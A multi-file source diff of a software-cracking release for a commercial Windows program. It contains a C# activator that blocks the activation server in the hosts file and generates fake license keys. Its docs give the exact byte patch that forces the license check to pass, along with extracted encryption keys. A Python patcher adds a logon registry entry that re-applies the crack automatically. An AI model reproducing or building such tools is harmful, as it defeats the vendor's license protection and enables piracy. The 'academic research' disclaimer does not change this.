if (HostsGuard.IsBlocked())
|
||||
{
|
||||
MessageBox.Show(this, "激活服务器已在 hosts 中屏蔽,无需重复操作。", "提示",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
return;
|
||||
}
|
||||
DialogResult r = MessageBox.Show(this,
|
||||
"将在系统 hosts 文件中添加:\r\n\r\n " + HostsGuard.BlockEntry +
|
||||
"\r\n\r\n作用:让 项目F 的在线激活校验(account.项目F.com)无法连接。\r\n" +
|
||||
"联网校验失败(网络异常)时程序不会清除本地激活配置,且本地校验不受影响。\r\n" +
|
||||
"需要管理员权限(UAC 弹窗)。\r\n\r\n继续?",
|
||||
"屏蔽激活服务器", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
|
||||
if (r != DialogResult.Yes) return;
|
||||
bool launched = HostsGuard.BlockViaUac();
|
||||
System.Threading.Thread.Sleep(1200); // give the elevated process time to finish
|
||||
bool nowBlocked = HostsGuard.IsBlocked();
|
||||
UpdateGuardLabel(lbl);
|
||||
if (nowBlocked)
|
||||
Log("已屏蔽激活服务器(hosts 写入成功)——在线校验将因网络异常而不做任何处理。");
|
||||
else if (launched)
|
||||
Log("已发起 hosts 写入,但未检测到生效(可能 UAC 被拒绝或写入失败),请手动检查。");
|
||||
else
|
||||
Log("hosts 写入未执行(UAC 被取消)。可再次点击按钮重试。");
|
||||
}
|
||||
|
||||
void Log(string msg)
|
||||
{
|
||||
txtLog.AppendText("[" + DateTime.Now.ToString("HH:mm:ss") + "] " + msg + "\r\n");
|
||||
}
|
||||
|
||||
void AddRandomEmail()
|
||||
{
|
||||
txtEmail.Text = LicenseAlgo.RandomEmail();
|
||||
Log("已生成随机邮箱: " + txtEmail.Text.Trim() + "(点“一键激活”或“仅生成密钥”继续)");
|
||||
}
|
||||
|
||||
void GenerateKey()
|
||||
{
|
||||
string email = txtEmail.Text.Trim();
|
||||
if (email.Length == 0)
|
||||
{
|
||||
email = LicenseAlgo.RandomEmail();
|
||||
txtEmail.Text = email;
|
||||
Log("邮箱为空,已自动生成: " + email);
|
||||
}
|
||||
try
|
||||
{
|
||||
string lic = LicenseAlgo.Generate(email);
|
||||
if (!LicenseAlgo.Verify(email, lic))
|
||||
{
|
||||
MessageBox.Show(this, "生成结果未通过自校验,请更换邮箱重试", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
txtKey.Text = lic;
|
||||
Log("已为 " + email + " 生成密钥(" + lic.Length + " 字符),自校验通过(Verify=True)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(this, "生成失败: " + ex.Message, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
}
|
||||
|
||||
void BrowseConfig()
|
||||
{
|
||||
OpenFileDialog dlg = new OpenFileDialog();
|
||||
dlg.Filter = "JSON 文件 (*.json)|*.json|所有文件 (*.*)|*.*";
|
||||
dlg.FileName = txtConfigPath.Text;
|
||||
if (dlg.ShowDialog(this) == DialogResult.OK)
|
||||
txtConfigPath.Text = dlg.FileName;
|
||||
}
|
||||
|
||||
void DoActivate()
|
||||
{
|
||||
string email = txtEmail.Text.Trim();
|
||||
string lic = txtKey.Text.Trim();
|
||||
|
||||
// ensure email + key are present and match
|
||||
if (email.Length == 0)
|
||||
{
|
||||
email = LicenseAlgo.RandomEmail();
|
||||
txtEmail.Text = email;
|
||||
Log("邮箱为空,已自动生成: " + email);
|
||||
}
|
||||
if (lic.Length == 0)
|
||||
{
|
||||
Log("密钥为空,自动生成中...");
|
||||
GenerateKey();
|
||||
lic = txtKey.Text.Trim();
|
||||
}
|
||||
if (lic.Length != LicenseAlgo.LICENSE_LEN)
|
||||
{
|
||||
MessageBox.Show(this, "密钥长度应为 " + LicenseAlgo.LICENSE_LEN + " 字符,当前 " + lic.Length,
|
||||
"错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
if (!LicenseAlgo.Verify(email, lic))
|
||||
{
|
||||
Log("警告:密钥与邮箱不匹配,自动重新生成...");
|
||||
GenerateKey();
|
||||
lic = txtKey.Text.Trim();
|
||||
if (!LicenseAlgo.Verify(email, lic))
|
||||
{
|
||||
MessageBox.Show(this, "密钥仍未通过校验,请更换邮箱或手动填入有效密钥", "错误",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
string name = txtName.Text.Trim();
|
||||
if (name.Length == 0) name = "Pro User";
|
||||
|
||||
// process check: writing while 项目F is running gets overwritten on exit
|
||||
Process[] procs = Process.GetProcessesByName("项目F");
|
||||
if (procs.Length > 0)
|
||||
{
|
||||
DialogResult r = MessageBox.Show(this,
|
||||
"项目F 正在运行(PID: " + procs[0].Id + ")。\r\n" +
|
||||
"若现在写入,项目F 退出时内存数据可能覆盖新配置。\r\n\r\n" +
|
||||
"建议先退出 项目F 再写入。仍然继续?",
|
||||
"项目F 正在运行", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
|
||||
if (r != DialogResult.Yes)
|
||||
{
|
||||
Log("已取消写入(项目F 仍在运行)。请退出 项目F 后再试。");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
string path = txtConfigPath.Text.Trim();
|
||||
StringBuilder log = new StringBuilder();
|
||||
string error;
|
||||
bool ok = PrefsWriter.Write(path, name, email, lic, log, out error);
|
||||
foreach (string line in log.ToString().Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries))
|
||||
Log(line);
|
||||
if (ok)
|
||||
{
|
||||
Log("完成:邮箱 " + email + " 的激活配置已写入。重启 项目F 后生效(Pro 状态)。");
|
||||
MessageBox.Show(this, "一键激活成功!\r\n\r\n邮箱: " + email + "\r\n配置文件: " + path +
|
||||
"\r\n\r\n重启 项目F 后 Pro 状态生效。", "激活成功",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
}
|
||||
else
|
||||
{
|
||||
MessageBox.Show(this, "写入失败: " + error + "\r\n\r\n原配置已保留(备份: " + path + PrefsWriter.BACKUP_SUFFIX + ")",
|
||||
"错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
}
|
||||
|
||||
static void OpenUrl(string url)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.Start(new ProcessStartInfo(url) { UseShellExecute = true });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.Start(url);
|
||||
}
|
||||
catch
|
||||
{
|
||||
MessageBox.Show("无法打开链接: " + ex.Message, "提示", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static class Program
|
||||
{
|
||||
[STAThread]
|
||||
static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new MainForm());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
__________________________________________________________________________
|
||||
| INT0 SCENE RELEASE // 项目G PRO <目标版本> ACTIVATOR SUITE |
|
||||
|__________________________________________________________________________|
|
||||
|
||||
TARGET: 项目G Pro <目标版本> (Windows Spacebar Quick Look by Corey)
|
||||
TYPE: 项目G::isLicensed Byte-Level Reversing & Guard Utility
|
||||
ARCH: x86_64 / Windows
|
||||
SHA256: <实测哈希>
|
||||
ONLINE TOOL: https://项目G.int0.cc
|
||||
DISTRIBUTION: https://int0.cc & P2P Mirrors
|
||||
|
||||
TECHNICAL DETAILS:
|
||||
------------------
|
||||
V1 Online activation is tied to 1218.io backend signing (unforgable offline).
|
||||
V2 Payload check requires sha384(p) == payload["key_hash"] (self-referential).
|
||||
Root gate 项目G::isLicensed(void) at offset 0xB82D10 patched with
|
||||
b0 01 c3 90 90 (mov al, 1; ret). Includes logon anti-rollback guard.
|
||||
@@ -0,0 +1,77 @@
|
||||
===============================================================================
|
||||
INT0 REVERSE ENGINEERING RESEARCH SUITE
|
||||
Release: 项目G.<目标版本>.Activation.Tool-INT0
|
||||
Target : 项目G <目标版本>
|
||||
===============================================================================
|
||||
|
||||
[EN] English
|
||||
-------------------------------------------------------------------------------
|
||||
This release archive is an all-in-one educational and reverse engineering research
|
||||
suite analyzing the licensing, algorithmic verification, and memory structures
|
||||
of 项目G <目标版本>.
|
||||
|
||||
DISCLAIMER:
|
||||
This project is strictly for academic research, security auditing, and educational
|
||||
purposes. Commercial exploitation is strictly prohibited. If this software is
|
||||
valuable to your workflow, please support the original authors by purchasing
|
||||
a genuine commercial license.
|
||||
|
||||
PACKAGE CONTENTS:
|
||||
- 项目G.<目标版本>.Activation.Tool-INT0.nfo
|
||||
- 项目GActivate.exe
|
||||
- build.ps1
|
||||
- docs/algorithm.md
|
||||
- docs/reverse-engineering.md
|
||||
- src/项目G_activate.py
|
||||
- src/项目G_gui.py
|
||||
- tools/项目GActivate.exe
|
||||
- tools/test_activate.py
|
||||
- README.txt (Bilingual Documentation)
|
||||
- SHA256SUMS.txt (Cryptographic Checksums)
|
||||
|
||||
USAGE:
|
||||
1. Main GUI Tool:
|
||||
Launch '项目GActivate.exe' directly from the root folder.
|
||||
2. Auxiliary & Test Tools:
|
||||
Located in 'tools/' directory (includes CLI keygens, test harnesses, or frida scripts).
|
||||
3. Source Code:
|
||||
Complete, unabridged source code for all tools is included in 'src/'.
|
||||
You may review the cryptographic algorithms or recompile via 'build.ps1'.
|
||||
4. Documentation:
|
||||
Detailed reverse engineering notes and algorithm breakdowns reside in 'docs/'.
|
||||
|
||||
-------------------------------------------------------------------------------
|
||||
[ZH] 简体中文
|
||||
-------------------------------------------------------------------------------
|
||||
本发布包为针对 项目G <目标版本> 软件授权机制、密码学算法与内存逻辑的完整逆向工程学术研究套件。
|
||||
|
||||
免责声明:
|
||||
本项目仅供计算机逆向工程、软件授权安全与密码学机制的学习和学术交流。
|
||||
严禁用于任何商业牟利。若该软件对您的日常工作和学习带来帮助,请支持原厂并购买官方正版授权。
|
||||
|
||||
套件内容:
|
||||
- 项目G.<目标版本>.Activation.Tool-INT0.nfo
|
||||
- 项目GActivate.exe
|
||||
- build.ps1
|
||||
- docs/algorithm.md
|
||||
- docs/reverse-engineering.md
|
||||
- src/项目G_activate.py
|
||||
- src/项目G_gui.py
|
||||
- tools/项目GActivate.exe
|
||||
- tools/test_activate.py
|
||||
- README.txt(中英双语说明)
|
||||
- SHA256SUMS.txt(文件校验哈希)
|
||||
|
||||
使用说明:
|
||||
1. 主图形激活工具:
|
||||
直接双击根目录下的 '项目GActivate.exe' 即可一键使用。
|
||||
2. 辅助与测试工具:
|
||||
存放在 'tools/' 目录中(包含命令行工具、测试套件及脚本)。
|
||||
3. 完整源代码:
|
||||
所有激活工具与算法实现的完整源码均开源置于 'src/' 目录中,可直接审阅或通过 'build.ps1' 重新编译。
|
||||
4. 技术研报:
|
||||
详细算法分析与逆向全过程记录存放在 'docs/' 目录中。
|
||||
|
||||
===============================================================================
|
||||
INT0 COLLECTIVE // RELEASES.INT0.CC // T.ME/INT0_OFFICIAL
|
||||
===============================================================================
|
||||
@@ -0,0 +1,26 @@
|
||||
# Build 项目GActivate.exe (PyInstaller onefile from src/项目G_activate.py)
|
||||
# Usage: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
$root = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$out = Join-Path $root 'tools'
|
||||
$build = Join-Path $root 'build'
|
||||
|
||||
New-Item -ItemType Directory -Force -Path $out | Out-Null
|
||||
|
||||
$py = Get-Command python -ErrorAction SilentlyContinue
|
||||
if (-not $py) { throw 'python not found in PATH' }
|
||||
|
||||
Write-Host 'Building tools/项目GActivate.exe (PyInstaller onefile)...'
|
||||
& python -m PyInstaller --clean --distpath $out --workpath $build (Join-Path $root '项目GActivate.spec')
|
||||
if ($LASTEXITCODE -ne 0) { throw 'PyInstaller build FAILED' }
|
||||
|
||||
Write-Host ''
|
||||
Write-Host 'Running self-check...'
|
||||
& python -m pytest (Join-Path $root 'tests') -q
|
||||
if ($LASTEXITCODE -ne 0) { throw 'pytest self-check FAILED' }
|
||||
|
||||
Write-Host ''
|
||||
Write-Host 'Build complete. Artifacts:'
|
||||
Write-Host " $out\项目GActivate.exe"
|
||||
Write-Host " $out\test results: tests/ (pytest) PASS"
|
||||
@@ -0,0 +1,48 @@
|
||||
# 项目G <目标版本> 激活补丁方案(algorithm)
|
||||
|
||||
> 目标函数:`项目G::isLicensed(void)` @0x140b83910(文件偏移 0xB82D10)
|
||||
|
||||
## 1. 常量
|
||||
|
||||
| 名称 | 值 |
|
||||
| :--- | :--- |
|
||||
| 补丁偏移 | `0xB82D10`(文件偏移) |
|
||||
| 原始字节 | `48 89 4c 24 08`(`mov qword [rsp+8], rcx`) |
|
||||
| 补丁字节 | `b0 01 c3 90 90`(`mov al,1; ret; nop; nop`) |
|
||||
| 原始 SHA256 | `<实测哈希>` |
|
||||
| 补丁 SHA256 | `<实测哈希>` |
|
||||
|
||||
## 2. 工作原理
|
||||
|
||||
```
|
||||
checkLicense() @启动
|
||||
├─ isLicensed(void) ← 项目G 基类, 每次启动调 2 次
|
||||
│ 原版: 读 INI 许可 -> false → 分支 "checkLicense free trial"
|
||||
│ 补丁: mov al,1; ret (恒 true) → 分支 "checkLicense pass"
|
||||
```
|
||||
|
||||
补丁把函数入口改为 `mov al,1; ret`:不执行原函数体(读 INI、校验 payload),
|
||||
调用方(checkLicense 等)统一收到"已授权"。函数帧未分配即返回,无栈平衡问题。
|
||||
|
||||
## 3. 兼容性
|
||||
|
||||
- 字节级检测三分支:已补丁 / 原版 / 未知(非标准构建跳过,避免破坏)
|
||||
- 已知版本做强哈希校验;未知小版本字节匹配则继续(`[!]` 提示)
|
||||
- Windows 大写不敏感路径自动去重(<本地路径> 与 <本地路径> 视为同一目录)
|
||||
|
||||
## 4. 防回退
|
||||
|
||||
- `--guard`:`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\项目GActivateGuard`
|
||||
→ `项目GActivate.exe --silent --fix`
|
||||
- 登录时静默执行:定位全部 项目G 目录 → 检查偏移字节 → 原版则重新补丁 → 幂等退出
|
||||
- `--unguard` 移除;`--revert` 由 `.bak` 还原正版
|
||||
|
||||
## 5. 验证
|
||||
|
||||
```
|
||||
python -m pytest tests -q
|
||||
# 5 passed:常量自洽 / 补丁往返 / 版本识别 / 样本哈希 / 购买链接
|
||||
|
||||
项目GActivate.exe --check
|
||||
# [i] <本地路径> patched (已激活)
|
||||
```
|
||||
@@ -0,0 +1,60 @@
|
||||
# 项目G <目标版本> 逆向证据链(reverse-engineering)
|
||||
|
||||
本文给出授权体系还原的关键证据:函数地址(VA,ImageBase 0x140000000)、字符串常量、
|
||||
反汇编结论与动态验证记录。样本:项目G.exe SHA256
|
||||
`<实测哈希>`
|
||||
(MD5 `<实测哈希>`,安装包 NSIS 3.12 解包,内层 项目G.7z)。
|
||||
|
||||
## 1. 反汇编方法
|
||||
|
||||
Ghidra headless 全量分析在 27MB Qt 二进制上耗时过长且环境易中断,改用
|
||||
**Python 确定性扫描**:解析 PE 节表 → `.rdata` 定位目标字符串 VA →
|
||||
扫描 `.text` 中所有 `LEA r64,[rip+disp32]`(`48/4C 8D /r mod=00 rm=101`)计算引用点 →
|
||||
对引用点局部分片线性反汇编(rizin `pd`)。零分析器依赖,秒级完成。
|
||||
|
||||
## 2. 函数入口表
|
||||
|
||||
| 函数 | VA | 说明 |
|
||||
| :--- | :--- | :--- |
|
||||
| `项目G::isLicensed(void)` | `0x140b83910` | 启动授权判定(补丁目标,偏移 0xB82D10) |
|
||||
| `项目G::activate(const QString&)` | `0x140b82640` | 激活入口(项目G.cpp L341 日志) |
|
||||
| `项目G::readIni` | 0x140b85xxx 区 | 读 INI 许可("license key data empty" 引用 0x140b85631) |
|
||||
| `项目GV2::isLicensed(...)` | `0x140ba1d70` | 本地复验:sha384(p) vs payload["key_hash"] |
|
||||
| `项目GV2::writeIniFromPayload` | `0x140ba7060` | 写 INI `Others/reg_id`(Base64)/`reg_key` |
|
||||
| `项目GV2::handleDeviceReplyInternal` | v2 区 | 服务器响应处理("MD5 signature check failed" 引用 0x140ba4fbd) |
|
||||
| `checkLicense` | `0x14046a264` | 每次启动执行;分支 free-trial @0x14046a3e7 / pass @0x14046a6b6 |
|
||||
|
||||
## 3. 关键常量
|
||||
|
||||
| 常量 | VA | 值 |
|
||||
| :--- | :--- | :--- |
|
||||
| 签名模板 | `0x1412a0650` | `!1(2.1,8&_C]o=r%e^y;`(19 B) |
|
||||
| AES 密钥(grace token) | `0x1412a08e0` | `_项目G_this is a constant_key+WWWWin` |
|
||||
| ChainingMode | `0x1412a0720` | `ChainingModeCBC` |
|
||||
| 字段 | 0x1412a3ad8 / 0x1412a3b00 | `grace_deadline` / `ids_hash` |
|
||||
| INI 路径 | `0x1412a18b0` / `0x1412a1518` | `Others/reg_id` / `Others/reg_key` |
|
||||
|
||||
## 4. 校验语义
|
||||
|
||||
```
|
||||
V1 网络激活: POST property_key -> 服务器签发(不可离线复现)
|
||||
V2 响应签名: sig = hex(sha1(TEMPLATE + payload[32:])) == payload[0:32]
|
||||
V2 本地复验: hex(sha384(payload_utf8)) == payload["key_hash"] ← 自引用,无解
|
||||
grace token: AES-CBC 解密 -> JSON{ids,last_ok,deadline} 校验
|
||||
```
|
||||
|
||||
## 5. 动态验证记录(Frida 17.16)
|
||||
|
||||
| 实验 | 结果 |
|
||||
| :--- | :--- |
|
||||
| 传 7 种 key 调 `activate` | 均 `licenseModeForKey=mode=1` 且 `activate=0`(被拒) |
|
||||
| 传构造 payload 调 `V2::isLicensed` | 均 0;`QCryptographicHash::hash` 未触发(早退) |
|
||||
| 原版启动 | `[branch] free-trial @46a3e7` |
|
||||
| 补丁版启动 | `[branch] pass @46a6b6`;进程存活 10s+;无 INI 许可读取 |
|
||||
| 防回退守卫 | 注册 → revert 模拟覆盖 → `--silent --fix` 自动恢复 `8591c808...` |
|
||||
|
||||
## 6. 结论
|
||||
|
||||
- keygen 离线不可行(服务器签发 + 自引用校验)
|
||||
- 本地判定点单一且无自校验 → 补丁路线成立,重启持久,升级覆盖可由登录守卫自动修复
|
||||
- 工具仅修改本地判定,不涉及服务器/计费逻辑;界面内置官方购买链接引导正版
|
||||
@@ -0,0 +1,322 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""项目G <目标版本> 一键激活工具(patch 路线,服务端签名模型下 keygen 不可行的替代方案)。
|
||||
|
||||
原理(逆向证据见 cases/2026-09-项目G-keygen/findings.md F8/F10):
|
||||
- 项目G 激活数据由服务器签发(V1 property_key 网络激活; V2 设备 payload + sha384(key_hash)
|
||||
自引用校验),纯离线 keygen 不可行。
|
||||
- 启动授权判定点: 项目G::isLicensed(void) @0x140b83910 (文件偏移 0xB82D10),
|
||||
checkLicense 每次启动调用两次;原版返回 false -> "checkLicense free trial"。
|
||||
- Patch: 入口 5 字节 48 89 4c 24 08 -> B0 01 C3 90 90 (mov al,1; ret; nop; nop),
|
||||
isLicensed(void) 恒 true -> 启动走 "checkLicense pass"(frida 分支 hook 双向实测)。
|
||||
|
||||
支持正版: 项目G 是商业软件,请通过官方渠道购买授权。
|
||||
官方站点: https://1218.io/
|
||||
购买页(中): https://1218.io/项目G/fwd_cn/order.html
|
||||
购买页(EN): https://1218.io/项目G/fwd/order.html
|
||||
|
||||
用法:
|
||||
一键激活项目G.exe # 自动定位 项目G 目录并激活
|
||||
一键激活项目G.exe --check # 查看状态
|
||||
一键激活项目G.exe --revert # 还原原版(.bak)
|
||||
一键激活项目G.exe --install-dir DIR # 指定 项目G 目录
|
||||
一键激活项目G.exe --buy # 打开官方购买页
|
||||
"""
|
||||
import argparse
|
||||
import hashlib
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import webbrowser
|
||||
|
||||
try:
|
||||
import winreg
|
||||
except ImportError: # 非 Windows(如 CI lint)
|
||||
winreg = None
|
||||
|
||||
GUARD_RUN_KEY = r'Software\Microsoft\Windows\CurrentVersion\Run'
|
||||
GUARD_VALUE = '项目GActivateGuard'
|
||||
|
||||
OFFICIAL_SITE = 'https://1218.io/'
|
||||
BUY_URL_CN = 'https://1218.io/项目G/fwd_cn/order.html'
|
||||
BUY_URL_EN = 'https://1218.io/项目G/fwd/order.html'
|
||||
|
||||
# 已知版本哈希(强校验);未知构建走字节级检查兜底
|
||||
ORIG_SHA256 = '<实测哈希>'
|
||||
PATCHED_SHA256 = '<实测哈希>'
|
||||
|
||||
PATCH_OFFSET = 0xB82D10
|
||||
PATCH_BYTES = bytes.fromhex('b0 01 c3 90 90') # mov al,1; ret; nop; nop
|
||||
ORIG_BYTES = bytes.fromhex('48 89 4c 24 08') # mov [rsp+8], rcx
|
||||
|
||||
|
||||
def sha256(path):
|
||||
h = hashlib.sha256()
|
||||
with open(path, 'rb') as f:
|
||||
for chunk in iter(lambda: f.read(1 << 20), b''):
|
||||
h.update(chunk)
|
||||
return h.hexdigest()
|
||||
|
||||
|
||||
def banner(silent=False):
|
||||
if silent:
|
||||
return
|
||||
print('=' * 60)
|
||||
print(' 项目G <目标版本> 一键激活工具 (patch 路线)')
|
||||
print(' keygen 不可行: 激活数据由服务器签发 (payload 自引用校验)')
|
||||
print(' --- 支持正版 ---')
|
||||
print(' 官方站点: %s' % OFFICIAL_SITE)
|
||||
print(' 购买页(中): %s' % BUY_URL_CN)
|
||||
print(' 购买页(EN): %s' % BUY_URL_EN)
|
||||
print('=' * 60)
|
||||
print()
|
||||
|
||||
|
||||
def guard_command():
|
||||
"""--guard 写入的启动命令:登录时静默检查并自动修复。"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
return '"%s" --silent --fix' % sys.executable
|
||||
py = sys.executable or 'python'
|
||||
script = os.path.abspath(__file__)
|
||||
return '"%s" "%s" --silent --fix' % (py, script)
|
||||
|
||||
|
||||
def add_guard():
|
||||
if winreg is None:
|
||||
print('[-] winreg 不可用(非 Windows)')
|
||||
return False
|
||||
cmd = guard_command()
|
||||
try:
|
||||
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, GUARD_RUN_KEY, 0, winreg.KEY_SET_VALUE) as k:
|
||||
winreg.SetValueEx(k, GUARD_VALUE, 0, winreg.REG_SZ, cmd)
|
||||
print('[+] 防回退守卫已注册(登录自动检查/修复):')
|
||||
print(' HKCU\\%s\\%s = %s' % (GUARD_RUN_KEY, GUARD_VALUE, cmd))
|
||||
return True
|
||||
except OSError as e:
|
||||
print('[-] 注册守卫失败: %s' % e)
|
||||
return False
|
||||
|
||||
|
||||
def remove_guard():
|
||||
if winreg is None:
|
||||
print('[-] winreg 不可用')
|
||||
return False
|
||||
try:
|
||||
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, GUARD_RUN_KEY, 0, winreg.KEY_SET_VALUE) as k:
|
||||
try:
|
||||
winreg.DeleteValue(k, GUARD_VALUE)
|
||||
print('[+] 防回退守卫已移除')
|
||||
except OSError:
|
||||
print('[=] 守卫本就不存在')
|
||||
return True
|
||||
except OSError as e:
|
||||
print('[-] 移除守卫失败: %s' % e)
|
||||
return False
|
||||
|
||||
|
||||
def guard_status():
|
||||
if winreg is None:
|
||||
return None
|
||||
try:
|
||||
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, GUARD_RUN_KEY, 0, winreg.KEY_READ) as k:
|
||||
try:
|
||||
v, _ = winreg.QueryValueEx(k, GUARD_VALUE)
|
||||
return v
|
||||
except OSError:
|
||||
return None
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
|
||||
def try_locate_项目G_dirs():
|
||||
"""定位 项目G.exe 所在目录:便携目录 -> 常见安装路径 -> 注册表 Uninstall。"""
|
||||
candidates = []
|
||||
script_dir = os.path.dirname(os.path.abspath(sys.argv[0]))
|
||||
# ReverseLab 便携解包目录(相对本脚本)
|
||||
for rel in ('samples/unpacked/项目G',):
|
||||
p = os.path.normpath(os.path.join(script_dir, '..', rel))
|
||||
if os.path.isfile(os.path.join(p, '项目G.exe')):
|
||||
candidates.append(p)
|
||||
# 常见安装路径
|
||||
for base in (os.environ.get('LOCALAPPDATA', ''), os.environ.get('ProgramFiles', ''),
|
||||
os.environ.get('ProgramFiles(x86)', ''), r'C:\Program Files', r'C:\Program Files (x86)',
|
||||
'<本地路径>', 'B:\\'):
|
||||
if base:
|
||||
for sub in ('项目G', '项目G'):
|
||||
p = os.path.join(base, sub)
|
||||
if os.path.isfile(os.path.join(p, '项目G.exe')):
|
||||
candidates.append(p)
|
||||
# 注册表 Uninstall 定位
|
||||
try:
|
||||
import winreg
|
||||
for hive, kroot in ((winreg.HKEY_LOCAL_MACHINE, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall'),
|
||||
(winreg.HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall'),
|
||||
(winreg.HKEY_LOCAL_MACHINE, r'SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall')):
|
||||
try:
|
||||
with winreg.OpenKey(hive, kroot) as k:
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
sub = winreg.EnumKey(k, i)
|
||||
i += 1
|
||||
except OSError:
|
||||
break
|
||||
try:
|
||||
with winreg.OpenKey(hive, kroot + '\\' + sub) as sk:
|
||||
name, _ = winreg.QueryValueEx(sk, 'DisplayName')
|
||||
if name and '项目G' in name.lower():
|
||||
loc, _ = winreg.QueryValueEx(sk, 'InstallLocation')
|
||||
if loc and os.path.isfile(os.path.join(loc, '项目G.exe')):
|
||||
candidates.append(loc)
|
||||
except OSError:
|
||||
continue
|
||||
except OSError:
|
||||
continue
|
||||
except Exception:
|
||||
pass
|
||||
seen, out = set(), []
|
||||
for c in candidates:
|
||||
c = os.path.normpath(c)
|
||||
if c not in seen:
|
||||
seen.add(c)
|
||||
out.append(c)
|
||||
return out
|
||||
|
||||
|
||||
def apply(install_dir):
|
||||
target = os.path.join(install_dir, '项目G.exe')
|
||||
if not os.path.isfile(target):
|
||||
print('[-] 项目G.exe not found in %s' % install_dir)
|
||||
return False
|
||||
with open(target, 'rb') as f:
|
||||
data = f.read()
|
||||
cur5 = data[PATCH_OFFSET:PATCH_OFFSET + 5]
|
||||
cur_sha = hashlib.sha256(data).hexdigest()
|
||||
if cur5 == PATCH_BYTES:
|
||||
print('[=] %s: already patched (offset 0x%X = %s)' % (target, PATCH_OFFSET, cur5.hex(' ')))
|
||||
return True
|
||||
if cur5 != ORIG_BYTES:
|
||||
print('[!] %s: unexpected bytes at 0x%X: %s' % (target, PATCH_OFFSET, cur5.hex(' ')))
|
||||
print(' known original : %s' % ORIG_SHA256)
|
||||
print(' known patched : %s' % PATCHED_SHA256)
|
||||
print(' current sha256 : %s' % cur_sha)
|
||||
print(' (版本不匹配或已非标准构建,未改动)')
|
||||
return False
|
||||
if cur_sha != ORIG_SHA256:
|
||||
print('[!] %s: offset bytes match original but sha256 differs: %s' % (target, cur_sha))
|
||||
print(' (可能是不同小版本;字节级补丁继续执行)')
|
||||
bak = target + '.bak'
|
||||
if not os.path.isfile(bak):
|
||||
shutil.copy2(target, bak)
|
||||
print('[+] backup -> %s' % bak)
|
||||
out = bytearray(data)
|
||||
out[PATCH_OFFSET:PATCH_OFFSET + 5] = PATCH_BYTES
|
||||
with open(target, 'wb') as f:
|
||||
f.write(bytes(out))
|
||||
print('[+] patched %s' % target)
|
||||
print('[+] offset 0x%X: %s -> %s' % (PATCH_OFFSET, ORIG_BYTES.hex(' '), PATCH_BYTES.hex(' ')))
|
||||
print('[+] new sha256: %s' % sha256(target))
|
||||
print('[+] 完成。重启 项目G 后启动判定走 "checkLicense pass"。')
|
||||
return True
|
||||
|
||||
|
||||
def revert(install_dir):
|
||||
target = os.path.join(install_dir, '项目G.exe')
|
||||
bak = target + '.bak'
|
||||
if not os.path.isfile(bak):
|
||||
print('[-] no backup file %s' % bak)
|
||||
return False
|
||||
shutil.copy2(bak, target)
|
||||
print('[+] restored original from %s' % bak)
|
||||
print('[+] sha256: %s' % sha256(target))
|
||||
return True
|
||||
|
||||
|
||||
def check(install_dir):
|
||||
target = os.path.join(install_dir, '项目G.exe')
|
||||
if not os.path.isfile(target):
|
||||
print('[-] 项目G.exe not found')
|
||||
return
|
||||
with open(target, 'rb') as f:
|
||||
data = f.read(0xB82D10 + 5)
|
||||
cur5 = data[PATCH_OFFSET:PATCH_OFFSET + 5]
|
||||
if cur5 == PATCH_BYTES:
|
||||
state = 'patched (已激活)'
|
||||
elif cur5 == ORIG_BYTES:
|
||||
state = 'original (原版)'
|
||||
else:
|
||||
state = 'unknown'
|
||||
print('[i] %s: %s' % (target, state))
|
||||
if os.path.isfile(target + '.bak'):
|
||||
print('[i] backup: %s' % (target + '.bak'))
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(add_help=True)
|
||||
ap.add_argument('--install-dir', help='项目G 目录(含 项目G.exe)')
|
||||
ap.add_argument('--revert', action='store_true', help='还原原版')
|
||||
ap.add_argument('--check', action='store_true', help='检查状态')
|
||||
ap.add_argument('--buy', action='store_true', help='打开官方购买页')
|
||||
ap.add_argument('--guard', action='store_true', help='注册防回退守卫(登录自动检查/修复)')
|
||||
ap.add_argument('--unguard', action='store_true', help='移除防回退守卫')
|
||||
ap.add_argument('--fix', action='store_true', help='静默修复模式:自动定位并对所有目录补丁(守卫用)')
|
||||
ap.add_argument('--silent', action='store_true', help='不输出(守卫用)')
|
||||
args = ap.parse_args()
|
||||
|
||||
if args.buy:
|
||||
